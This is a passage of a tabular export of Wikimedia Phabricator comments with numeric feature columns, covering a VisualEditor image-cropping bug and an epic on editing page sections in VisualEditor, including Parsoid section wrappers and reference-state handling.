**Attached**: {F10816}",,,1368728163,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-qglalluk4kbrg2flbvzv,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8636363636363638,0.8181818181818182,"Created attachment 12328
screenshot of the issue in chromium in kubuntu

**Attached**: {F10816}"
224844,VisualEditor: Image in template gets cut off,I cannot reproduce this using either Firefox or Chrome - which browser(s) does this appear in? Do you have a screenshot I could see? Does it still appear?,,,1368727833,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qglalluk4kbrg2flbvzv,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,3.0,3.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,12.0,3.0,6.0,9.0,0.0,0.0,12.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.8484848484848486,0.8484848484848485,I cannot reproduce this using either Firefox or Chrome - which browser(s) does this appear in? Do you have a screenshot I could see? Does it still appear?
50429,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"It should be possible to edit a part of a MediaWiki page such as a section or paragraph via VisualEditor without loading the entire article into the editor. This would be especially useful on mobile devices. This ticket is designated to serve as the parent task for all work related to such a goal.

The parsing-related work can be seen at [[https://phabricator.wikimedia.org/project/view/3331/|Parsoid: Section-Editing-Support board]].",Low,25.0,1368497160,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-wdo3c45xgv7mte4en6az,task_description,open,True,c1,1,False,False,,-7,,1.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,20.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,13.0,0.0,1.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,15.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,3.0,4.0,0.7341772151898734,"It should be possible to edit a part of a MediaWiki page such as a section or paragraph via VisualEditor without loading the entire article into the editor. This would be especially useful on mobile devices. This ticket is designated to serve as the parent task for all work related to such a goal.

The parsing-related work can be seen at [[URL Section-Editing-Support board]]."
1619693,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Not sure how related these are, but task watchers may be interested in {T209955} and children. (My uneducated observation is that the one doesn't necessarily sort the ""performance"" aspect of this one.)",,,1605882637,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,385,,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,7.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,7.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0476190476190474,0.9047619047619048,"Not sure how related these are, but task watchers may be interested in {T209955} and children. (My uneducated observation is that the one doesn't necessarily sort the ""performance"" aspect of this one.)"
1550893,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I am just tyring to get the gnarly dependency graph look a bit more sane .. and AFAIK, this task isn't dependent on read views since you've all embarked on this work in previous years already. If my edit is in error, feel free to add the dependency back.",,,1595628476,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,368,,2.0,0.0,0.0,0.0,2.0,7.0,4.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,16.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.7454545454545456,0.8363636363636363,"I am just tyring to get the gnarly dependency graph look a bit more sane .. and AFAIK, this task isn't dependent on read views since you've all embarked on this work in previous years already. If my edit is in error, feel free to add the dependency back."
1525700,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,">>! In T50429#6218951, @valerio.bozzolan wrote:
> Is this task also about supporting `action=edit&section=new` in VisualEditor?

I don't think we have plans to add that, sorry.",,,1592252834,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,363,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9411764705882353,"QUOTE
QUOTE

I don't think we have plans to add that, sorry."
1524133,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,Is this task also about supporting `action=edit&section=new` in VisualEditor? Thank you.,,,1591964176,,PHID-USER-hphk5jxfxfgl64tpfacw,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,362,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,31.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.384615384615385,1.0,Is this task also about supporting CODE in VisualEditor? Thank you.
1242749,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Thanks. I take your word for it that editing a section on the same page
will be *faster* than loading the section editor on a fresh screen. The
design intent is to reduce client load by putting as little of the page as
practical in edit mode.",,,1552558162,,PHID-USER-axuerq3wmxtfm6tav6bu,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,297,,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,4.0,0.0,5.0,2.0,0.0,0.0,3.618181818181818,0.7818181818181819,"Thanks. I take your word for it that editing a section on the same page
will be *faster* than loading the section editor on a fresh screen. The
design intent is to reduce client load by putting as little of the page as
practical in edit mode."
1241390,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Just as a comment, this task is for ""section editing inline with read mode"", a cooler/faster system than T76541 (which is section editing on its own page). Not sure if that's clear here.",,,1552409670,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,297,,0.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,7.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,5.0,0.0,0.0,3.5,0.8409090909090909,"Just as a comment, this task is for ""section editing inline with read mode"", a cooler/faster system than T76541 (which is section editing on its own page). Not sure if that's clear here."
1144351,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,We need to further explore the approach. ,,,1537375112,,PHID-USER-hqyy4wr7smuc4rzaoio5,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,272,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,We need to further explore the approach. 
1136697,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,">>! In T50429#4559824, @Jdforrester-WMF wrote:
>>>! In T50429#4559065, @deryckchan wrote:
>>>>! In T50429#4558267, @kaldari wrote:
>>> Currently the main blocker (although it may not be a hard blocker) is parsing support for managing state that is page-level (mainly for reference management). @dchan  is [[ https://gerrit.wikimedia.org/r/#/c/VisualEditor/VisualEditor/+/433753/ | exploring doing some of the subtree editing business on the client side ]] as something of a stop-gap solution. The Parsing team's [[ https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/456520/ | work on server-side ref management ]] will probably be a better long-term solution (see T146072). They are hoping to have that work wrapped before the end of 2018. Anything to add @ssastry, @dchan, @DLynch, @Esanders?
>> 
>> What's the worst that can happen if we let VE load a section of a page, ignoring page-wide state variables? We have made do with section edit page previews, which ignore the effects of other parts of the page on the section you're editing, without too many issues for over a decade.
> 
> From a product feature perspective, the citation functionality that people most like about VE wouldn't work (it's entirely page-level content). With the stop-gap work Ryan mentions, it will, mostly, but //e.g.// citations from this section but also used elsewhere won't be editable, which will be very confusing.
> 
> From a product reliability perspective, there's the risk of catastrophic page corruption from section-spanning structures (people putting headings in a table, using headings via a template, or using templates that open a div but don't close it, or…), and even if that is somehow(?!) avoided, it'll be at best confusing when some section edit buttons refuse to load.


Parsoid currently provides <section> wrappers around HTML and these section wrappers also have editable / uneditable markers on them based on the well-formedness of the wikitect that generated them. So, a section edit scenario, if the section is opened for editing, Parsoid guarantees that the content in there does not contain HTML tags that had an incorrect overlap elsewhere. So, if you open such a section for editing (and just that section), and since VE doesn't introduce bad markup, you are unlikely to cause page corruption.

As for dealing with global state, we have two separate work-in-progress patches
* https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/456520/ frees clients from having to worry about global state, i.e. what happens if you delete a named ref that is used elsewhere. That patch requires clients to mark deleted references with a 'deleted' marker in the data-mw property instead of actually deleting the refences. Parsoid then handles updating state appropriately.
* https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/441151/ adds support for subtree editing. It effectively takes the desired subtree and computes a ""closure"" of that subtree wrt global state so that the subtree now behaves like a self-contained high-level document. This depends on the previous patch for handling named references.

As part of the patches above, we are adding extension API endpoints to make this support generic, since for example, there is also templatestyles, which has page-level global state when templatestyle uses are deduplicated.

It will take a little while to work through all the details to completion, test, etc. but that is the generic direction we are going towards on the Parsoid end.",,,1536249606,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,270,,0.25,0.0,0.0,0.75,0.5,4.5,0.5,0.0,0.0,0.75,1.75,0.75,0.0,0.0,0.25,0.75,0.0,5.25,10.75,0.0,1.25,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.25,0.0,7.25,0.0,0.5,2.0,0.75,0.0,0.25,0.25,0.5,0.0,0.5,0.25,3.0,0.0,0.25,0.0,0.75,0.25,14.5,0.5,1.5,0.25,0.5,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.5,0.0,0.0,0.25,0.75,0.25,5.5,2.25,7.25,2.25,1.25,8.25,0.0,0.0,0.0,0.0,2.25,0.0,0.25,0.0,2.75,10.75,4.75,0.0,1.0,0.0,2.75,0.0,1.5,2.0,0.5,2.0,0.0,0.0,1.0,4.2620481927710845,0.7259036144578314,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


Parsoid currently provides <section> wrappers around HTML and these section wrappers also have editable / uneditable markers on them based on the well-formedness of the wikitect that generated them. So, a section edit scenario, if the section is opened for editing, Parsoid guarantees that the content in there does not contain HTML tags that had an incorrect overlap elsewhere. So, if you open such a section for editing (and just that section), and since VE doesn't introduce bad markup, you are unlikely to cause page corruption.

As for dealing with global state, we have two separate work-in-progress patches
* URL frees clients from having to worry about global state, i.e. what happens if you delete a named ref that is used elsewhere. That patch requires clients to mark deleted references with a 'deleted' marker in the data-mw property instead of actually deleting the refences. Parsoid then handles updating state appropriately.
* URL adds support for subtree editing. It effectively takes the desired subtree and computes a ""closure"" of that subtree wrt global state so that the subtree now behaves like a self-contained high-level document. This depends on the previous patch for handling named references.

As part of the patches above, we are adding extension API endpoints to make this support generic, since for example, there is also templatestyles, which has page-level global state when templatestyle uses are deduplicated.

It will take a little while to work through all the details to completion, test, etc. but that is the generic direction we are going towards on the Parsoid end."
1135910,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Thanks James, that sounds reasonable. I think Ryan's proposal is a fine
solution - we can allow sections to be edited while freezing references
that are reused elsewhere on the page, preventing them from being deleted.

If a section cannot be edited, I think users will find it reasonable when
they see an error like ""This section cannot be edited on its own because it
depends on [another section of the page / name of transcluded page]. Please
try editing [the whole page / link to transcluded page] instead.""",,,1536166546,,PHID-USER-axuerq3wmxtfm6tav6bu,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,270,,0.0,0.0,0.0,3.0,1.5,3.5,0.5,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.5,3.5,9.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,5.0,3.0,2.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,1.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,1.5,0.0,0.0,0.0,4.0,3.5,5.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,5.5,9.0,1.0,0.0,2.0,0.0,5.5,0.0,2.0,2.0,0.5,2.0,0.0,0.0,1.0,3.863149350649351,0.7563311688311689,"Thanks James, that sounds reasonable. I think Ryan's proposal is a fine
solution - we can allow sections to be edited while freezing references
that are reused elsewhere on the page, preventing them from being deleted.

If a section cannot be edited, I think users will find it reasonable when
they see an error like ""This section cannot be edited on its own because it
depends on [another section of the page / name of transcluded page]. Please
try editing [the whole page / link to transcluded page] instead."""
1135806,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,">>! In T50429#4559065, @deryckchan wrote:
>>>! In T50429#4558267, @kaldari wrote:
>> Currently the main blocker (although it may not be a hard blocker) is parsing support for managing state that is page-level (mainly for reference management). @dchan  is [[ https://gerrit.wikimedia.org/r/#/c/VisualEditor/VisualEditor/+/433753/ | exploring doing some of the subtree editing business on the client side ]] as something of a stop-gap solution. The Parsing team's [[ https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/456520/ | work on server-side ref management ]] will probably be a better long-term solution (see T146072). They are hoping to have that work wrapped before the end of 2018. Anything to add @ssastry, @dchan, @DLynch, @Esanders?
> 
> What's the worst that can happen if we let VE load a section of a page, ignoring page-wide state variables? We have made do with section edit page previews, which ignore the effects of other parts of the page on the section you're editing, without too many issues for over a decade.

From a product feature perspective, the citation functionality that people most like about VE wouldn't work (it's entirely page-level content). With the stop-gap work Ryan mentions, it will, mostly, but //e.g.// citations from this section but also used elsewhere won't be editable, which will be very confusing.

From a product reliability perspective, there's the risk of catastrophic page corruption from section-spanning structures (people putting headings in a table, using headings via a template, or using templates that open a div but don't close it, or…), and even if that is somehow(?!) avoided, it'll be at best confusing when some section edit buttons refuse to load.",,,1536161053,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,270,,0.5,0.0,1.0,0.0,1.5,3.0,1.5,0.0,0.0,0.5,0.5,2.5,0.0,0.0,0.5,0.0,0.0,8.0,8.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.5,4.0,0.0,2.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.5,0.5,0.0,15.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,4.5,2.5,5.0,2.0,3.5,7.0,0.0,0.0,0.5,0.0,3.5,0.0,0.0,0.0,2.5,8.0,3.0,0.5,0.0,0.0,2.5,0.0,2.0,3.0,0.0,2.5,0.0,1.0,0.0,4.02,0.7486842105263158,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

From a product feature perspective, the citation functionality that people most like about VE wouldn't work (it's entirely page-level content). With the stop-gap work Ryan mentions, it will, mostly, but //e.g.// citations from this section but also used elsewhere won't be editable, which will be very confusing.

From a product reliability perspective, there's the risk of catastrophic page corruption from section-spanning structures (people putting headings in a table, using headings via a template, or using templates that open a div but don't close it, or…), and even if that is somehow(?!) avoided, it'll be at best confusing when some section edit buttons refuse to load."
1135616,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,">>! In T50429#4558267, @kaldari wrote:
> Currently the main blocker (although it may not be a hard blocker) is parsing support for managing state that is page-level (mainly for reference management). @dchan  is [[ https://gerrit.wikimedia.org/r/#/c/VisualEditor/VisualEditor/+/433753/ | exploring doing some of the subtree editing business on the client side ]] as something of a stop-gap solution. The Parsing team's [[ https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/456520/ | work on server-side ref management ]] will probably be a better long-term solution (see T146072). They are hoping to have that work wrapped before the end of 2018. Anything to add @ssastry, @dchan, @DLynch, @Esanders?

What's the worst that can happen if we let VE load a section of a page, ignoring page-wide state variables? We have made do with section edit page previews, which ignore the effects of other parts of the page on the section you're editing, without too many issues for over a decade.",,,1536140954,,PHID-USER-axuerq3wmxtfm6tav6bu,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,270,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,8.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,2.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,3.0,0.0,2.0,0.0,3.753846153846154,0.7692307692307693,"QUOTE
QUOTE

What's the worst that can happen if we let VE load a section of a page, ignoring page-wide state variables? We have made do with section edit page previews, which ignore the effects of other parts of the page on the section you're editing, without too many issues for over a decade."
1135459,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Thanks @kaldari! As I understand it the fundamental differences between T76541 and T146072 are:

- With T76541 , the browser has all the document-level data (meta / internal list items, in VE parlance) at its disposal, but at a cost of the whole document being received and parsed (though not rendered, which greatly improves speed and memory usage).

- With T146072 , the browser only has to receive and render a single section that effectively behaves like a small, simple document, but at a cost of not having all the document-level data at its disposal.

It seems there's substantial overlap where either may be adequate to achieve certain functionality, but that the tasks are actually complementary – there are use cases that would need one or the other. For instance, T76541 would be needed to suggest existing citations when adding a new reference, or to keep reference numbering accurate while editing; but you would clearly want T146072 for certain microedit-style approaches that step rapidly between documents.",,,1536114562,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,270,,1.0,0.0,0.5,1.0,1.0,8.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,1.0,0.5,0.0,5.0,11.0,0.0,2.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.5,1.5,1.0,5.5,0.5,2.0,1.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,4.0,0.0,0.5,0.0,1.5,0.5,14.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,2.0,0.0,6.5,3.0,7.0,2.5,5.0,8.5,0.0,0.0,0.5,0.0,4.5,0.0,1.0,0.0,3.0,11.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,2.5,0.0,2.5,0.0,0.0,0.0,4.448453608247423,0.7371134020618557,"ThanksSCREEN_NAME! As I understand it the fundamental differences between T76541 and T146072 are:

- With T76541 , the browser has all the document-level data (meta / internal list items, in VE parlance) at its disposal, but at a cost of the whole document being received and parsed (though not rendered, which greatly improves speed and memory usage).

- With T146072 , the browser only has to receive and render a single section that effectively behaves like a small, simple document, but at a cost of not having all the document-level data at its disposal.

It seems there's substantial overlap where either may be adequate to achieve certain functionality, but that the tasks are actually complementary – there are use cases that would need one or the other. For instance, T76541 would be needed to suggest existing citations when adding a new reference, or to keep reference numbering accurate while editing; but you would clearly want T146072 for certain microedit-style approaches that step rapidly between documents."
1135435,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,Are you aware of the VEForAll extension? https://www.mediawiki.org/wiki/Extension:VEForAll,,,1536110041,,PHID-USER-7jqnferdzzzwelhzchyo,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,270,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Are you aware of the VEForAll extension? URL
1135433,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Currently the main blocker (although it may not be a hard blocker) is parsing support for managing state that is page-level (mainly for reference management). @dchan  is [[ https://gerrit.wikimedia.org/r/#/c/VisualEditor/VisualEditor/+/433753/ | exploring doing some of the subtree editing business on the client side ]] as something of a stop-gap solution. The Parsing team's [[ https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/456520/ | work on server-side ref management ]] will probably be a better long-term solution (see T146072). They are hoping to have that work wrapped before the end of 2018. Anything to add @ssastry, @dchan, @DLynch, @Esanders?",,,1536108865,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,270,,0.5,1.5,0.0,0.0,0.5,3.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,8.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,2.5,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,16.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.5,0.0,5.0,4.0,9.0,0.5,0.0,6.5,0.0,0.0,0.0,0.0,3.5,0.0,2.0,0.0,1.5,8.0,1.5,1.0,0.0,0.0,1.5,0.0,0.5,2.0,0.0,4.5,1.0,0.0,3.0,4.087719298245614,0.7894736842105263,"Currently the main blocker (although it may not be a hard blocker) is parsing support for managing state that is page-level (mainly for reference management).SCREEN_NAME  is [[ URL | exploring doing some of the subtree editing business on the client side ]] as something of a stop-gap solution. The Parsing team's [[ URL | work on server-side ref management ]] will probably be a better long-term solution (see T146072). They are hoping to have that work wrapped before the end of 2018. Anything to addSCREEN_NAME,SCREEN_NAME,SCREEN_NAME,SCREEN_NAME?"
400295,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,">>! In T50429#979728, @Jdforrester-WMF wrote:
> It's entirely do-able for the developers of SemanticMediaWiki to create a VisualEditor integration for each of the fields in a form. Indeed, it's one of the use-cases we built VisualEditor around.

I have been poking around the VE and (recently) Semantic Forms looking for a place where I can dig in.  This may be it.  I can't promise anything, but knowing this is a place that needs work and that some of my users could use it helps.

